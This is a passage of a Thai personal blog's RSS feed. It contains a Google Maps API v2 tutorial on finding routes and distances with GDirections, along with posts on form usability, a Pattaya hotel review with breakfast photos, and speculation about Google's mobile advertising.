<p>เมื่อสองสามวันก่อน มี comment ถามมาว่า &#8220;<a href="http://www.tanomsak.com/index.php/2008/12/google-maps-tutorial-1/#comment-32125975">อยากทราบว่าสามารถทำ google map บอกระยะทางได้ไหมค่ะ เช่น จากกรุงเทพไปเชียงใหม่เป็นระยะทางเท่าไหร่</a>&#8221; ผมก็ตอบไปสั้นๆ วันนี้ขอขยายความเรื่องการหาเส้นทาง และการหาระยะทางจากจุดสองจุดในโดยใช้ Google Maps API ครับ เรื่องนี้เป็นเรื่องที่หลายๆคนสนใจ และเวปใหม่ที่ผมกำลังซุ่มทำอยู่ก็ใช้เยอะมากครับ</p>
<p>ใครอ่านภาษาอังกฤษคล่อง และต้องการข้อมูลแบบละเอียด ผมแนะน ลองอ่าน document ของ Google นะครับ <a href="http://code.google.com/apis/maps/documentation/services.html#Directions">http://code.google.com/apis/maps/documentation/services.html#Directions</a></p>
<p>เรามาเริ่มกันเลยดีกว่าครับ อ้อ! วิธีการข้างล่างจะเ็ป็นของ API v2 นะครับ เพราะว่าคนส่วนใหญ่คงยังใช้งาน version 2 กันอยู่</p>
<pre class="brush: xml;">
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;  xmlns:v=&quot;urn:schemas-microsoft-com:vml&quot;&gt;
  &lt;head&gt;
    &lt;title&gt;Google Maps JavaScript API Example: Simple Directions&lt;/title&gt;
    &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=UTF-8&quot;/&gt;
    &lt;script src=&quot;http://maps.google.com/maps?file=api&amp;amp;v=2&amp;amp;key=ABQIAAAAeNsNnRXUdrpgSw3qfvhz5hRHchrjOSPM-moa2HMmJZw-0fE6VhTsARfVd9x1Dg8TowZALqHIOcO20g&quot;
      type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
    &lt;script type=&quot;text/javascript&quot;&gt;
	// Create a directions object and register a map and DIV to hold the
    // resulting computed directions

    var map;
    var directionsPanel;
    var directions;

    function initialize() {
      map = new GMap2(document.getElementById(&quot;map_canvas&quot;));
      map.setCenter(new GLatLng(13.998, 100.5009), 15);
      directions = new GDirections(map);
      directions.load(&quot;from: 14.068, 100.6009 to: 13.8152, 100.5606&quot;});
   }
  &lt;/script&gt;
  &lt;/head&gt; 

  &lt;body onload=&quot;initialize()&quot;&gt;
    &lt;div id=&quot;map_canvas&quot; style=&quot;width: 70%; height: 480px; float:left; border: 1px solid black;&quot;&gt;&lt;/div&gt;
    &lt;br/&gt;
  &lt;/body&gt;
&lt;/html&gt;
</pre>
<p>source code ข้างบนผมเอามาจาก Tutorial ของ Google ครับ การใช้ GDirection ง่ายมากครับ โดย code ส่วนที่เกี่ยวข้องจริงๆคือบรรทัดที่ 19-20<br />
<code><br />
directions = new GDirections(map);<br />
directions.load("from: 14.068, 100.6009 to: 13.8152, 100.5606");<br />
</code></p>
<p>บรรทัดที่ 19 เป็นการสร้าง GDirections และระบุว่าให้แสดงเส้นทางใบแผนที่ที่เราสร้างไว้ก่อนหน้านี้<br />
บรรทัดที่ 20 เป็นการเรียกใช้บริการหาเส้นทางจาก Google โดยเราระบุ จุดเริ่มต้นกับปลายทาง</p>
<p>การระบุจุดเริ่มต้นกับปลายทาง สามารถระบุเป็ืนชื่อสถานที่ก็ได้นะครับ แต่ผมว่ามันไม่ค่อยแม่นเนื่องจาก Google ต้องตีความสถานที่ก่อน และระบบ reverse-geocode สำหรับของไทยยังไม่สมบูรณ์ครับ</p>
<p>แค่นี้เราก็จะได้เส้นทางเ็ป็น Polyline บนแผนที่ของเราแล้วครับ</p>
<p>ถ้าต้องการให้ มีข้อความบอกเส้นทางด้วย แบบว่า &#8220;ตรงไป 2 กม. แล้วเลี้ยวซ้าย&#8221; ก็ทำได้ง่ายๆครับ โดยสร้าง div สำหรับแสดงผลขึ้นมาแล้วระบุตอน new GDirections แบบนี้ครับ</p>
<p><code><br />
directionsPanel = document.getElementById("route");<br />
directions = new GDirections(map, directionsPanel );<br />
directions.load("from: 14.068, 100.6009 to: 13.8152, 100.5606", {locale: 'th'});<br />
</code></p>
<p>ตรง {locale: &#8216;th&#8217;} เป็นการบอกว่าให้แสดงข้อความเป็นภาษาไทยครับ</p>
<p>ดูตัวอย่างการใช้หาเส้นทางจาก Google Maps API <a href="http://tanomsak.com/tutorial-7.html">http://tanomsak.com/tutorial-7.html</a></p>
<p>Update: ตัวอย่างสำหรับกรณีมีจุดหมายสองจัดครับ <a href="http://tanomsak.com/tutorial-7_1.html">http://tanomsak.com/tutorial-7_1.html</a></p>
<p>ถ้าผมอธิบา่ยตรงไหนไม่เข้าใจ แนะนำได้ใน Comment เหมือนเดิมนะครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2010/01/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%ab%e0%b8%b2%e0%b9%80%e0%b8%aa%e0%b9%89%e0%b8%99%e0%b8%97%e0%b8%b2%e0%b8%87%e0%b9%82%e0%b8%94%e0%b8%a2-google-maps-api-gdirection/feed/</wfw:commentRss>
		<slash:comments>35</slash:comments>
		</item>
		<item>
		<title>Form Design</title>
		<link>http://www.tanomsak.com/index.php/2010/01/form-design/</link>
		<comments>http://www.tanomsak.com/index.php/2010/01/form-design/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 04:26:30 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Web design]]></category>
		<category><![CDATA[คิดอะไรไปเรื่อยเปื่อย]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=365</guid>
		<description><![CDATA[วันนี้จัดการ uninstall โปรแกรม Nokia PC Suite ที่ลงไว้ตอนย้าย Contact จากโทรศัพท์ฺเึครื่องเก่า ทำให้นึกอะไรขึ้นมาได้อย่างนึงคือ install wizard ของ Nokia ใช้งานยากมาก จริงๆรู้สึกตั้งแต่ตอนติดตั้งแล้ว แต่พอ uninstall ทำให้นึกขึ้นมาได้ ลองดูรูปนี้ครับ เข้าใจว่าคงตั้งใจเปลี่ยนปุ่ม &#8220;ตกลง&#8221;,&#8221;ยกเลิก&#8221; ให้สวย โดยแทนที่ด้วยเครื่องหมายถูกผิดแทน ผลคือผมงงมากครับ ไม่รู้จะกดปุ่มไหนดี พอหันขึ้นไปอ่าน คำอธิบายข้างบน ก็อ่้านไม่เข้าใจอีก สุดท้ายเสียเวลาไปหลายนาที การออกแบบ interaction ระหว่างคนกับโปรแกรมสำคัญมากๆ เรื่องเล็กๆน้่อยๆบางเรื่อง อาจทำให้งานง่ายกลายเป็นงานยากได้ครับ @LukeWDesign เขียน &#8220;Web Form Design: Filling in the Blanks&#8221; ไว้ได้มีประโยชน์มากครับ หรือลองอ่าน presentation ของเค้าที่ http://www.lukew.com/ff/entry.asp?964 ดูครับ เอาไว้ปีนี้จะลองหยิบประเด็นเด่นๆในหนังสือมาเล่าให้ฟังนะครับ สลับกับ Google Maps API บ้างเพราะเริ่มหมดมุขแล้วครับ สวัสดีปีใหม่ [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="width: 100%; margin-bottom: 30px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2010%2F01%2Fform-design%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2010%2F01%2Fform-design%2F&amp;source=tanomsak&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>วันนี้จัดการ uninstall โปรแกรม Nokia PC Suite ที่ลงไว้ตอนย้าย Contact จากโทรศัพท์ฺเึครื่องเก่า ทำให้นึกอะไรขึ้นมาได้อย่างนึงคือ install wizard ของ Nokia ใช้งานยากมาก จริงๆรู้สึกตั้งแต่ตอนติดตั้งแล้ว แต่พอ uninstall ทำให้นึกขึ้นมาได้ ลองดูรูปนี้ครับ</p>
<p><a href="http://www.tanomsak.com/wp-content/uploads/2010/01/nokia.png"><img class="aligncenter size-full wp-image-367" title="nokia" src="http://www.tanomsak.com/wp-content/uploads/2010/01/nokia.png" alt="" width="610" /></a></p>
<p style="text-align: center;">
<p>เข้าใจว่าคงตั้งใจเปลี่ยนปุ่ม &#8220;ตกลง&#8221;,&#8221;ยกเลิก&#8221; ให้สวย โดยแทนที่ด้วยเครื่องหมายถูกผิดแทน ผลคือผมงงมากครับ ไม่รู้จะกดปุ่มไหนดี พอหันขึ้นไปอ่าน คำอธิบายข้างบน ก็อ่้านไม่เข้าใจอีก สุดท้ายเสียเวลาไปหลายนาที</p>
<p>การออกแบบ interaction ระหว่างคนกับโปรแกรมสำคัญมากๆ เรื่องเล็กๆน้่อยๆบางเรื่อง อาจทำให้งานง่ายกลายเป็นงานยากได้ครับ</p>
<p><a href="http://twitter.com/LukeWDesign">@LukeWDesign</a> เขียน &#8220;<a href="http://www.lukew.com/resources/web_form_design.asp">Web Form Design: Filling in the Blanks</a>&#8221; ไว้ได้มีประโยชน์มากครับ หรือลองอ่าน presentation ของเค้าที่ <a href="http://www.lukew.com/ff/entry.asp?964">http://www.lukew.com/ff/entry.asp?964</a> ดูครับ</p>
<p>เอาไว้ปีนี้จะลองหยิบประเด็นเด่นๆในหนังสือมาเล่าให้ฟังนะครับ สลับกับ Google Maps API บ้างเพราะเริ่มหมดมุขแล้วครับ</p>
<p>สวัสดีปีใหม่ 2010 ครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2010/01/form-design/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>รีวิว The Zign พัทยา</title>
		<link>http://www.tanomsak.com/index.php/2009/11/%e0%b8%a3%e0%b8%b5%e0%b8%a7%e0%b8%b4%e0%b8%a7-the-zign-%e0%b8%9e%e0%b8%b1%e0%b8%97%e0%b8%a2%e0%b8%b2/</link>
		<comments>http://www.tanomsak.com/index.php/2009/11/%e0%b8%a3%e0%b8%b5%e0%b8%a7%e0%b8%b4%e0%b8%a7-the-zign-%e0%b8%9e%e0%b8%b1%e0%b8%97%e0%b8%a2%e0%b8%b2/#comments</comments>
		<pubDate>Sun, 15 Nov 2009 10:08:20 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[เที่ยวทั่วไทย]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=332</guid>
		<description><![CDATA[เสาร์อาทิตย์นี้มาพักผ่อนที่พัทยากับ @pangporn เลือกมาพักที่ The Zign เพราะโทรไปทีี่อื่นๆ ที่ซื้อไว้ตอนงานไทยเที่ยวไทยแล้วเต็มหมดเลย เลยลองใช้บริการ allresortthailand.com เป็นครั้งแรก ตอนแรกจะเลือกจองห้องแบบถูกที่สุดคือห้องแบบ City View (ราคาในเวป 2,2xx บาท) แต่ระบบแจ้งว่าเต็มเลยได้ห้อง Sea View มาแทนที่ราคา (2,7xx บาท) โรงแรม The Zign อยู่ที่ นาเกลือซอย 12 เข้ามาไม่ไกลก็จะเห็นโรงแรมเพราะว่าใหญ่มาก เรามาถึงโรงแรมตอนบ่ายโมง ทาง reception ก็จัดห้องให้โดยไม่ต้องรอถึงเวลา check-in คือบ่ายสอง แต่งานนี้เปลี่ยนห้องไป 2 ครั้งกว่าจะได้ห้องที่ถูกใจ เพราะว่าสองห้่องแรกอยู่ชั้น 3 เหม็นกลิ่นบุหรี่เลยขอย้าย เค้าก็ช่วยจัดแจงให้อย่่างดี จนได้ห้องชั้น 5 เสียอย่างเดียวชั้น 5 ไม่มี WIFI เพราะ Access Point อยู่ตรงชั้น 3 แต่ก็มี LAN [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="width: 100%; margin-bottom: 30px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2009%2F11%2F%25e0%25b8%25a3%25e0%25b8%25b5%25e0%25b8%25a7%25e0%25b8%25b4%25e0%25b8%25a7-the-zign-%25e0%25b8%259e%25e0%25b8%25b1%25e0%25b8%2597%25e0%25b8%25a2%25e0%25b8%25b2%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2009%2F11%2F%25e0%25b8%25a3%25e0%25b8%25b5%25e0%25b8%25a7%25e0%25b8%25b4%25e0%25b8%25a7-the-zign-%25e0%25b8%259e%25e0%25b8%25b1%25e0%25b8%2597%25e0%25b8%25a2%25e0%25b8%25b2%2F&amp;source=tanomsak&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>เสาร์อาทิตย์นี้มาพักผ่อนที่พัทยากับ <a href="http://www.twitter.com/pangporn">@pangporn</a> เลือกมาพักที่ The Zign เพราะโทรไปทีี่อื่นๆ ที่ซื้อไว้ตอนงานไทยเที่ยวไทยแล้วเต็มหมดเลย เลยลองใช้บริการ allresortthailand.com เป็นครั้งแรก ตอนแรกจะเลือกจองห้องแบบถูกที่สุดคือห้องแบบ City View (ราคาในเวป 2,2xx บาท) แต่ระบบแจ้งว่าเต็มเลยได้ห้อง Sea View มาแทนที่ราคา (2,7xx บาท)</p>
<p>โรงแรม The Zign อยู่ที่ นาเกลือซอย 12 เข้ามาไม่ไกลก็จะเห็นโรงแรมเพราะว่าใหญ่มาก</p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/11/DSC_6899.JPG" alt="" width="590" /></p>
<p>เรามาถึงโรงแรมตอนบ่ายโมง ทาง reception ก็จัดห้องให้โดยไม่ต้องรอถึงเวลา check-in คือบ่ายสอง แต่งานนี้เปลี่ยนห้องไป 2 ครั้งกว่าจะได้ห้องที่ถูกใจ เพราะว่าสองห้่องแรกอยู่ชั้น 3 เหม็นกลิ่นบุหรี่เลยขอย้าย เค้าก็ช่วยจัดแจงให้อย่่างดี จนได้ห้องชั้น 5 เสียอย่างเดียวชั้น 5 ไม่มี WIFI เพราะ Access Point อยู่ตรงชั้น 3 แต่ก็มี LAN ให้ใช้แทน โดยขอสาย LAN ได้ที่ reception (มัดจำ 100 บาท)</p>
<p>ห้องพักตกแต่งสวยดีเพราะเราย้ายห้องหลายครั้งเลยได้รูปมาให้ดูสองห้องเลยครับ</p>
<p>ห้องแรก อยู่ชั้น 3 ครับ</p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/11/DSC_6894.JPG" alt="" width="350" /></p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/11/DSC_6895.JPG" alt="" width="590" /></p>
<p>นี่รูปห้องสุดท้าย อยู่ชั้น 5 สวยไปอีกแบบ</p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/11/DSC_6896.JPG" alt="" width="350" /></p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/11/DSC_6897.JPG" alt="" width="590" /></p>
<p><span style="background-color: #ffffff; ">อันนี้บรรยากาศในห้องชั้น 5 ที่เราได้อยู่</span></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/pq9ZCxfTSvk&amp;hl=en_US&amp;fs=1&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/pq9ZCxfTSvk&amp;hl=en_US&amp;fs=1&amp;rel=0" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><span style="background-color: #ffffff; ">สระว่ายน้ำมีสองสระ แต่วันที่มากำลังปิดปรับปรุง 1 วัน เลยแน่นไปนิดนึง ส่วนใหญ่แขกเป็นครอบครัว เด็กๆเลยเยอะหน่อย</span></p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/11/DSC_6898.JPG" alt="" width="590" /></p>
<p>อาหารเช้าเป็นแบบ Buffet อาหารเยอะมากๆ แต่คนก็เยอะเหมือนกัน บรรยากาศคล้ายๆ <span style="color: #000000;">ที่ </span><em><span style="color: #000000;">รามายานะ</span></em><span style="color: #000000;"> </span>บุฟเฟ่ต์ เลยแบบว่าแน่นๆ รสชาติอาหารส่วนใหญ่ OK ลองดูรายการอาหารใน video ข้างล่างดูครับ ผมว่าิเยอะว่าที่ Evason หัวหินอีก (แต่คุณภาพไม่เท่า)</p>
<p><span style="background-color: #ffffcc;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="350" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/lTlvMDm3DVI" /><embed type="application/x-shockwave-flash" width="425" height="350" src="http://www.youtube.com/v/lTlvMDm3DVI"></embed></object></span></p>
<p>ก่อนกลับลองถาม Reception ดูเห็นว่าราคาห้องแพงกว่าในเวปอยู่เกือบเท่าตัวครับ ขนาดเป็นราคาที่ลด 40% แล้วก็ตาม เลยคิดว่าวันหลังคงได้ใช้บริการจองจากทางเวปอีก</p>
<p><span style="background-color: #ffffff; ">โดยรวมถือว่าชอบที่นี้ ถึงราคาจะแพงนิดแต่บรรยากาศ OK มาก หวังว่าจะช่วยเพื่อนๆที่คิดจะไปพักที่นี้ตัดสินใจได้นะครับ ใครไปมาแล้วแชร์ให้ฟังกันบ้างนะครับ</span></p>
<p><span style="background-color: #ffffff; ">ปล. สรุปแทบไม่ได้ดูทะเล นอกจากออกมาถ่ายรูปทีี่ระเบียง คราวหลังจอง City View ก็คงไม่ต่างกันเก็บตังไปกินลุงไสวดีกว่า</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2009/11/%e0%b8%a3%e0%b8%b5%e0%b8%a7%e0%b8%b4%e0%b8%a7-the-zign-%e0%b8%9e%e0%b8%b1%e0%b8%97%e0%b8%a2%e0%b8%b2/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>อาหารเช้าที่ the zign</title>
		<link>http://www.tanomsak.com/index.php/2009/11/%e0%b8%ad%e0%b8%b2%e0%b8%ab%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%8a%e0%b9%89%e0%b8%b2%e0%b8%97%e0%b8%b5%e0%b9%88-the-zign/</link>
		<comments>http://www.tanomsak.com/index.php/2009/11/%e0%b8%ad%e0%b8%b2%e0%b8%ab%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%8a%e0%b9%89%e0%b8%b2%e0%b8%97%e0%b8%b5%e0%b9%88-the-zign/#comments</comments>
		<pubDate>Sun, 15 Nov 2009 01:29:03 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[เที่ยวทั่วไทย]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/index.php/2009/11/%e0%b8%ad%e0%b8%b2%e0%b8%ab%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%8a%e0%b9%89%e0%b8%b2%e0%b8%97%e0%b8%b5%e0%b9%88-the-zign/</guid>
		<description><![CDATA[อาหารเช้าอลังการมาก อาหารเยอะ คนก็เยอะ รสชาติถือว่า ok เลย]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="width: 100%; margin-bottom: 30px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2009%2F11%2F%25e0%25b8%25ad%25e0%25b8%25b2%25e0%25b8%25ab%25e0%25b8%25b2%25e0%25b8%25a3%25e0%25b9%2580%25e0%25b8%258a%25e0%25b9%2589%25e0%25b8%25b2%25e0%25b8%2597%25e0%25b8%25b5%25e0%25b9%2588-the-zign%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2009%2F11%2F%25e0%25b8%25ad%25e0%25b8%25b2%25e0%25b8%25ab%25e0%25b8%25b2%25e0%25b8%25a3%25e0%25b9%2580%25e0%25b8%258a%25e0%25b9%2589%25e0%25b8%25b2%25e0%25b8%2597%25e0%25b8%25b5%25e0%25b9%2588-the-zign%2F&amp;source=tanomsak&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>อาหารเช้าอลังการมาก อาหารเยอะ คนก็เยอะ รสชาติถือว่า ok เลย</p>
<p style="text-align: center; "><a href="http://www.tanomsak.com/wp-content/uploads/2009/11/p_2048_1536_F8EE81DB-9AFA-4C58-8B75-576FA1BDA943.jpeg"><img class="size-full wp-image-364 aligncenter" src="http://www.tanomsak.com/wp-content/uploads/2009/11/p_2048_1536_F8EE81DB-9AFA-4C58-8B75-576FA1BDA943.jpeg" alt="" width="480" height="640" /></a></p>
<p style="text-align: center; ">
<p style="text-align: center; "><a href="http://www.tanomsak.com/wp-content/uploads/2009/11/l_2048_1536_2127EFFE-C9B5-482B-A6A6-4DC995C16C23.jpeg"><img class="size-full wp-image-364 aligncenter" src="http://www.tanomsak.com/wp-content/uploads/2009/11/l_2048_1536_2127EFFE-C9B5-482B-A6A6-4DC995C16C23.jpeg" alt="" width="640" height="480" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2009/11/%e0%b8%ad%e0%b8%b2%e0%b8%ab%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%8a%e0%b9%89%e0%b8%b2%e0%b8%97%e0%b8%b5%e0%b9%88-the-zign/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ก้าวต่อไปของ Google กับ mobile advertisement?</title>
		<link>http://www.tanomsak.com/index.php/2009/10/google-%e0%b8%81%e0%b8%b1%e0%b8%9a-mobile-advertisement/</link>
		<comments>http://www.tanomsak.com/index.php/2009/10/google-%e0%b8%81%e0%b8%b1%e0%b8%9a-mobile-advertisement/#comments</comments>
		<pubDate>Sat, 24 Oct 2009 01:54:39 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Google Maps]]></category>
		<category><![CDATA[คิดอะไรไปเรื่อยเปื่อย]]></category>
		<category><![CDATA[Advertising]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=321</guid>
		<description><![CDATA[เมื่อเช้าตื่นขึ้นมาเจอ tweet ของ sebprovencher เรื่อง Google Maps เปลี่ยนหน้าตา (จริงผมว่าเพิ่มข้ิิอมูลถนนมากกว่า) กับ เรื่องที่มีการคาดการว่า Google จะให้บริการ Navigator ซึ่งผมคิดว่ามีแนวโน้มมาก และคิดว่า Google น่าจะทำได้ดีด้วยเพราะที่ผ่านมาผมใช้บริการ Direction ของ Google ตลอดและทำได้ดีมาก ถ้ารวมกับข้อมูลถนนที่เพิ่มใหม่คงจะออกมาเป็นบริการที่ดีมากๆ คำถามต่อมาที่เกิดในใจ ก็คือแล้ว Google จะทำเิงินจากบริการใหม่ยังไง ผมคิดว่าน่าจะิออกมาเป็น advertisement ตัวใหม่ เพราะ Google เป็นบริษัทโฆษณา ดูแนวโน้มรวมกับบริการที่เพิ่งออกมาเร็วๆนี้สองตัวคือ Google Place Pages ที่ Google สร้างหน้า Landing page ให้สถานที่ต่าง (a.k.a. ธุรกิจขนาดเล็ก ที่อาจจะจ่ายเงินโฆษณาได้) และ Google Local Listing Ads (โฆษณาสำหรับธุรกิจขนาดเล็ก ที่เข้าใจง่าย จ่ายเป็นรายเดือนไม่ต้องประมูล keyword แข่้งกัน) ผมคิดว่า Google [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="width: 100%; margin-bottom: 30px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2009%2F10%2Fgoogle-%25e0%25b8%2581%25e0%25b8%25b1%25e0%25b8%259a-mobile-advertisement%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2009%2F10%2Fgoogle-%25e0%25b8%2581%25e0%25b8%25b1%25e0%25b8%259a-mobile-advertisement%2F&amp;source=tanomsak&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>เมื่อเช้าตื่นขึ้นมาเจอ tweet ของ <a href="http://twitter.com/sebprovencher/">sebprovencher</a> เรื่อง <a href="http://google-latlong.blogspot.com/2009/10/evolving-look-of-google-maps.html">Google Maps เปลี่ยนหน้าตา</a> (จริงผมว่าเพิ่มข้ิิอมูลถนนมากกว่า) กับ เรื่องที่มีการคาดการว่า Google จะให้บริการ <a href="http://www.forbes.com/2009/10/23/android-navigation-internet-technology-wireless-google.html">Navigator</a> ซึ่งผมคิดว่ามีแนวโน้มมาก และคิดว่า Google น่าจะทำได้ดีด้วยเพราะที่ผ่านมาผมใช้บริการ Direction ของ Google ตลอดและทำได้ดีมาก ถ้ารวมกับข้อมูลถนนที่เพิ่มใหม่คงจะออกมาเป็นบริการที่ดีมากๆ</p>
<p><img class="alignnone size-full wp-image-322" title="แผนที่ Google maps ละเอียดขึ้น" src="http://www.tanomsak.com/wp-content/uploads/2009/10/updategooglemap.PNG" alt="แผนที่ Google maps ละเอียดขึ้น" width="463" height="295" /></p>
<p><span id="more-321"></span></p>
<p>คำถามต่อมาที่เกิดในใจ ก็คือแล้ว Google จะทำเิงินจากบริการใหม่ยังไง ผมคิดว่าน่าจะิออกมาเป็น advertisement ตัวใหม่ เพราะ Google เป็นบริษัทโฆษณา</p>
<p>ดูแนวโน้มรวมกับบริการที่เพิ่งออกมาเร็วๆนี้สองตัวคือ <a href="http://googleblog.blogspot.com/2009/09/place-pages-for-google-maps-there-are.html">Google Place Pages</a> ที่ Google สร้างหน้า Landing page ให้สถานที่ต่าง (a.k.a. ธุรกิจขนาดเล็ก ที่อาจจะจ่ายเงินโฆษณาได้) และ <a href="http://www.google.com/help/lbc/listingads/">Google Local Listing Ads</a> (โฆษณาสำหรับธุรกิจขนาดเล็ก ที่เข้าใจง่าย จ่ายเป็นรายเดือนไม่ต้องประมูล keyword แข่้งกัน) ผมคิดว่า Google กำลังจะเอาจริงกับการจับกลุ่มผู้ลงโฆษณากลุ่มธุรกิจขนาดเล็กอย่างมาก ถ้าเอามารวมกับ Google Navigator ที่คาดกันว่าจะเป็นออกมาเป็นส่วนหนึ่งของ Android น่าจะเป็นจุดเริ่มต้นสำคัญของ mobile advertisement จาก Google เลยครับ</p>
<p>ทุกคนคิดยังไงกันบ้างครับ สำหรับผมอยากให้ Google navigation เป็นจริงเร็วๆ อ้อแ้ล้วมันจะมี iphone app ไหมน้า <img src='http://www.tanomsak.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div class="zemanta-pixie" style="margin-top: 10px; height: 15px;"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/d308b18d-30a0-4bf5-b87b-494065332920/"><img class="zemanta-pixie-img" style="border: none; float: right;" src="http://img.zemanta.com/reblog_e.png?x-id=d308b18d-30a0-4bf5-b87b-494065332920" alt="Reblog this post [with Zemanta]" /></a><span class="zem-script more-related pretty-attribution"><script src="http://static.zemanta.com/readside/loader.js" type="text/javascript"></script></span></div>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2009/10/google-%e0%b8%81%e0%b8%b1%e0%b8%9a-mobile-advertisement/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>การใช้รูปภาพแทนปุ่มซูมเข้าออก (Custom control)</title>
		<link>http://www.tanomsak.com/index.php/2009/07/google-maps-custom-control/</link>
		<comments>http://www.tanomsak.com/index.php/2009/07/google-maps-custom-control/#comments</comments>
		<pubDate>Mon, 27 Jul 2009 10:49:04 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Google Maps]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[tanomsak]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=295</guid>
		<description><![CDATA[zickr_url='http://www.tanomsak.com/index.php/2009/07/google-maps-custom-control/' ถ้าใครเคยเข้าไปเวป ddproperty.com จะเห็นว่าปุ่มซูมเข้าซูมออกจะไม่เหมือนแบบปกติของ Google Maps และมีปุ่มย่อขยายแผนที่เพิ่มขึ้นมาด้วย การทำแบบนี้เค้าเรียกว่า Custom Control ครับ คราวนี้เราจะพูดถึงเรื่องการสร้าง Control ของ Google Maps ให้เป็นแบบเฉพาะของเวปเรากันครับ ทำความรู้จักกับ Control ใน Google Maps ก่อนอื่นมาทำความรู้จักกับ Control ใน Google Maps API กันก่อน ในตัว Google Maps API มี Control มาตราฐานมาให้เราใช้อยู่หลายอย่างครับ GLargeMapControl &#8211; เป็น Control ที่มีครบทั้งซูมเข้าออก,เลื่อนแผนที่ซ้ายขวา และ Slider GSmallMapControl &#8211; จะมีแค่ซูมเข้าออก,เลื่อนแผนที่ซ้ายขวา GSmallZoomControl &#8211; มีแต่ ซูมเข้าออกเล็กๆ GScaleControl &#8211; scale บอกขนาดแผนที่ GLargeMapControl3D [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="width: 100%; margin-bottom: 30px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.tanomsak.com%2Findex.php%2F2009%2F07%2Fgoogle-maps-custom-control%2F"><br />
